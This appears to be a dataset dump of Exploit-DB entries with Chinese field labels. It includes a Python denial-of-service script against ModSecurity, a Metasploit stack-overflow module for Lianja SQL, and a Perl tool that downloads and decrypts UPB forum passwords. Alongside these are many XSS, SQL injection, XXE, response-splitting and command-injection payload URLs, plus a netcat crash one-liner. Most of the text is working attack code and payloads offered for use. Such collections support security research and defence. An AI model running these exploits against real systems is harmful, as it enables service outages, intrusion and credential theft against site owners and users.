QLWD/code_shield huggingface dataset:
标题: ModSecurity - Remote Null Pointer Dereference EDB-ID: 25852 CVE: 2013-2765 类型: DOS 平台: MULTIPLE 发布日期: 2013-05-31 漏洞利用脚本: Source: http://packetstormsecurity.com/files/121815/modsecurity_cve_2013_2765_check.py.txt
When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
    _DEFAULT_CONCURRENCY = 100
    _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

    def __init__(self):
        self._request_counter = 0
        self._status_message = None

    def main(self, args_list):
        args_object = self._parse_args(args_list)
        
        payload = "A" * args_object.request_body_size * 1024
        
        request = urllib.request.Request(args_object.target_url,
                                         method = "GET",
                                         data = payload.encode('utf-8'),
                                         headers = {'Content-Type': 'text/random',
                                                    'User-Agent': self._DEFAULT_USER_AGENT})
        
        if self._send_request(request):
            logger.info("Target seems to be vulnerable!!!")
            return 0
        else:
            logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
            return 1

    def _parse_args(self, args_list):
        parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
        parser.add_argument('-t', '--target-url',
                            dest = 'target_url',
                            required = True,
                            help = "Target URL")
        parser.add_argument('-s', '--request-body-size',
                            dest = 'request_body_size',
                            default = self._DEFAULT_REQUEST_BODY_SIZE,
                            type = int,
                            help = "Request body size in KB")
        
        return parser.parse_args()

    def _send_request(self, request):
        try:
            urllib.request.urlopen(request)
            return False
        except (http.client.BadStatusLine, urllib.error.HTTPError):
            return True

if __name__ == '__main__':
    sys.exit(ModSecurityDOSCheck().main(sys.argv)) URL: https://www.exploit-db.com/exploits/25852
标题: Lianja SQL 1.0.0RC5.1 - db_netserver Stack Buffer Overflow (Metasploit) EDB-ID: 25851 CVE: 2013-3563 类型: REMOTE 平台: WINDOWS 发布日期: 2013-05-31 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the db_netserver process which
        is spawned by the Lianja SQL server.  The issue is fixed in Lianja SQL 1.0.0RC5.2.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2013-3563' ]
      ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 20
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'Space'           => 500,
          'BadChars'        => "\x01"
        },
      'Targets'        =>
        [
          [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
          [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'May 22 2013'))

    register_options(
      [
        Opt::RPORT(8001),
      ], self.class)
  end

  def check
    begin
      connect
    rescue
      return Exploit::CheckCode::Safe
    end
    sock.put("db_net")
    if sock.recv(4) =~ /\d{1,5}/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    sock.put("db_net")
    sock.recv(4)

    print_status("#{rhost}:#{rport} - Sending Malicious Data")
    evil_data =  '000052E1'
    evil_data << 'A'
    evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
    evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
    sock.put(evil_data)
    disconnect
  end
end URL: https://www.exploit-db.com/exploits/25851
标题: ATutor 1.4.3 - 'tile.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25832 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
      
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/tile.php?query=yy&field=technicalFormat&submit=Search[XSS-CODE]
http://www.example.com/ATutor/tile.php?query=[XSS-CODE]&field=technicalFormat&submit=Search
http://www.example.com/ATutor/tile.php?query=yy&field=technicalFormat[XSS-CODE]&submit=Search URL: https://www.exploit-db.com/exploits/25832
标题: JBoss 3.x/4.0.2 - HTTP Request Remote Information Disclosure EDB-ID: 25842 CVE: 2005-2006 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/13985/info

JBoss is prone to a remote information-disclosure vulnerability. The issue occurs in the 'org.jboss.web.WebServer' class and is due to a lack of sufficient sanitization of user-supplied request data.

Information that attackers can harvest through leveraging this issue may aid in further attacks against the affected service. 

Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %. HTTP/1.0

Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
verweigert)
Content-Type: text/html

Example 2 (Config file download): [4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %server.policy HTTP/1.0 URL: https://www.exploit-db.com/exploits/25842
标题: Cool Cafe Chat 1.2.1 - 'login.asp' SQL Injection EDB-ID: 25839 CVE: 2005-2035 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13976/info

Cool Cafe Chat is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'login.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Cool Cafe Chat 1.2.1 is reportedly vulnerable. 

The following proof of concept is available:
user: admin
password: 'or' URL: https://www.exploit-db.com/exploits/25839
标题: osCommerce 2.1/2.2 - Multiple HTTP Response Splitting Vulnerabilities EDB-ID: 25840 CVE: 2005-1951 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/13979/info

osCommerce is prone to multiple HTTP response splitting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit any of these vulnerabilities to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

http://www.example.com/index.php?action=buy_now&products_id=22%0d%0atest:%20poison%20headers!
http://www.example.com/index.php?action=cust_order&pid=2%0d%0atest:%20poison%20headers! URL: https://www.exploit-db.com/exploits/25840
标题: ATutor 1.4.3 - 'subscribe_forum.php?us' Cross-Site Scripting EDB-ID: 25833 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
       
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/forum/subscribe_forum.php?fid=2&us=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/25833
标题: Ublog Reload 1.0.5 - 'index.asp' Multiple SQL Injections EDB-ID: 25843 CVE: 2005-2009 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13991/info

Ublog Reload is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/UblogReload/index.asp?ci='62&s=category
http://www.example.com/UblogReload/index.asp?d=11'&m=6&y=2005&s=day
http://www.example.com/UblogReload/index.asp?m=6'&y=2005&s=month URL: https://www.exploit-db.com/exploits/25843
标题: ATutor 1.4.3 - '/inbox/index.php?view' Cross-Site Scripting EDB-ID: 25831 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
     
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/inbox/index.php?view=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/25831
标题: ATutor 1.4.3 - 'Directory.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25834 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
        
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/directory.php?roles%5B%5D=[XSS-CODE]1&roles%5B%5D=2&roles%5B%5D=3&status=1&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=[XSS-CODE]2&roles%5B%5D=3&status=1&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=2&roles%5B%5D=3[XSS-CODE]&status=1&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=2&roles%5B%5D=3&status=1[XSS-CODE]&submit=Filter
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&roles%5B%5D=2&roles%5B%5D=3&status=1&submit=Filter[XSS-CODE]
http://www.example.com/ATutor/directory.php?roles%5B%5D=1&status=2&reset_filter=Reset+Filter[XSS-CODE]
http://www.example.com/ATutor/directory.php?roles[]=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/25834
标题: Ublog Reload 1.0.5 - 'blog_comment.asp?y' SQL Injection EDB-ID: 25844 CVE: 2005-2009 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13991/info
 
Ublog Reload is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/UblogReload/blog_comment.asp?bi=71&m=6&y=2005'&d=&s=category URL: https://www.exploit-db.com/exploits/25844
标题: Monkey HTTPd 1.1.1 - Crash (PoC) EDB-ID: 25837 CVE: 2013-3724 类型: DOS 平台: LINUX 发布日期: 2013-05-30 漏洞利用脚本: Title:
======
Monkey HTTPD 1.1.1 - Denial of Service Vulnerability

Date:
=====
2013-05-28

References:
===========
http://bugs.monkey-project.com/ticket/181

Introduction:
=============
Monkey is a lightweight and powerful web server for GNU/Linux.

It has been designed to be very scalable with low memory and CPU consumption, the perfect solution for embedded devices. Made for ARM, x86 and x64.

Abstract:
=========
The vulnerability is a denial of service which is caused by sending a null byte in an HTTP request to the web server.

Report-Timeline:
================
2013-05-23: Discovered vulnerability via fuzzing
2013-05-25: Vendor Notification
2013-05-26: Vendor Response/Feedback
2013-05-27: Vendor Fix/Patch
2013-05-28: PublicDisclosure

Status:
========
Published

Affected Products:
==================
Monkey HTTPD - version 1.1.1

Exploitation-Technique:
=======================
Remote

Details:
========
A bug discovered in Monkey's HTTP parser allows an attacker to cause a segmentation fault in one of the daemon's threads using a specially crafted request containing a null byte. An attacker can crash all the available threads by sending the specially crafted request multiple times, rendering the server useless for legitimate users.

Proof of Concept:
=================
The vulnerability can be exploited by remote attacker without any special privileges. The placement of the null byte within the request does not seem to have any effect on the result. The null byte may even be used instead of an HTTP method such as, GET. Below is an example of how this bug can be manually triggered:

ruby -e 'puts "GET /\x00 HTTP/1.1\r\n\r\n"'|netcat localhost 2001

Solution:
=========
This vulnerability has been fixed for the 1.2.0 release.

Risk:
=====
The security risk of the redirection vulnerability is estimated as low(+).

Credits:
========
Doug Prostko <dougtko[at]gmail[dot]com> - Vulnerability discovery URL: https://www.exploit-db.com/exploits/25837
标题: ATutor 1.4.3 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25830 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
    
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/atutor/search.php?search=10[XSS-CODE]&words=kk&include=all&find_in=this&display_as=pages&search=Search
http://www.example.com/ATutor/search.php?search=1&words=aa[XSS-CODE]&include=one&find_in=all&display_as=summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one[XSS-CODE]&find_in=all&display_as=summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one&find_in=all[XSS-CODE]&display_as=summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one&find_in=all&display_as=[XSS-CODE]summaries&search=Search#search_results
http://www.example.com/ATutor/search.php?search=1&words=aa&include=one&find_in=all&display_as=summaries&search=[XSS-CODE]Search#search_results URL: https://www.exploit-db.com/exploits/25830
标题: Ultimate PHP Board 1.8/1.9 - Weak Password Encryption EDB-ID: 25838 CVE: 2005-2030 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13975/info

Ultimate PHP Board is prone to a weak password encryption vulnerability. This issue is due to a failure of the application to protect passwords with a sufficiently effective encryption scheme.

This issue may allow a malicious user to gain access to user and administrator passwords for the affected application.

#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Related advisory:
http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero

use Getopt::Std;
use LWP::Simple;
getopt('hfu');

print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t=          by Alberto Trivero          =\n";
print "\t========================================\n\n";

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
   print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u
[username]]\n\n";
   print "Examples:\nperl $0 -h http://www.example.com/upb/ -f
results.txt\n";
   print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
   exit(0);
}

$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrh
mbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzv
qnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl";
$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);

if($opt_f) {
   open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
   print RESULTS "Results for $opt_h\n","="x40,"\n\n";
   for($in=0;$in<@page;$in++) {
      $page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
      $page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password:
$1\n";
      &decrypt;
      print RESULTS "Decrypted Password: $crypt\n\n";
      $crypt="";
   }
   close(RESULTS);
   print "[+] Results printed correct in: $opt_f\n";
}

if($opt_u) {
   for($in=0;$in<@page;$in++) {
      if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
        print "[+] Username: $opt_u\n";
        print "[+] Crypted Password: $1\n";
         &decrypt;
         print "[+] Decrypted Password: $crypt\n";
         exit(0);
      }
   }
   print "[-] Username '$opt_u' doesn't exist\n";
}

sub decrypt {
   for($i=0;$i<length($1);$i++) {
      $i_key=ord(substr($key, $i, 1));
      $i_text=ord(substr($1, $i, 1));
      $n_key=ord(substr($key, $i+1, 1));
      $i_crypt=$i_text + $n_key;
      $i_crypt-=$i_key;
      $crypt.=chr($i_crypt);
   }
} URL: https://www.exploit-db.com/exploits/25838
标题: ATutor 1.4.3 - 'contact.php?subject' Cross-Site Scripting EDB-ID: 25827 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
 
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/contact.php?subject=[XSS-CODE] URL: https://www.exploit-db.com/exploits/25827
标题: ATutor 1.4.3 - 'browse.php?show_course' Cross-Site Scripting EDB-ID: 25826 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info

ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ATutor/browse.php?cat=0&show_course=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/25826
标题: ATutor 1.4.3 - 'send_message.php?l' Cross-Site Scripting EDB-ID: 25829 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
   
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/atutor/inbox/send_message.php?l=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/25829
标题: Adobe Acrobat 7.0 / Adobe Reader 7.0 - File Existence / File Disclosure EDB-ID: 25822 CVE: 2005-1306 类型: REMOTE 平台: WINDOWS 发布日期: 2005-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/13962/info

Adobe Acrobat and Adobe Reader may allow remote attackers to determine the existence of files on a vulnerable computer. This issue can be used to disclose data from a target file as well.

Information gathered through the exploitation of this vulnerability may aid in other attacks. 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "c:/boot.ini">
]>
<foo>&xxe;</foo> URL: https://www.exploit-db.com/exploits/25822
标题: Singapore 0.9.11 Beta Image Gallery - 'index.php' Cross-Site Scripting EDB-ID: 25818 CVE: 2005-1955 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13938/info

Singapore image gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?gallery=%3Cimg%20onmouseover=%22alert('hi')%22%20style=%22position:%20absolute;%20top:0px;%20left:%200px;%20width:%201000%;%20height:%201000%;%22%3E URL: https://www.exploit-db.com/exploits/25818
标题: JamMail 1.8 - Jammail.pl Arbitrary Command Execution EDB-ID: 25817 CVE: 2005-1959 类型: WEBAPPS 平台: CGI 发布日期: 2005-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/13937/info

JamMail is prone to a remote arbitrary command execution vulnerability.

This vulnerability may allow an attacker to supply arbitrary commands through the 'jammail.pl' script.

This can lead to various attacks including unauthorized access to an affected computer.

JamMail 1.8 is affected by this issue. 

http://www.example.com/cgi-bin/jammail.pl?job=showoldmail&mail=|command| URL: https://www.exploit-db.com/exploits/25817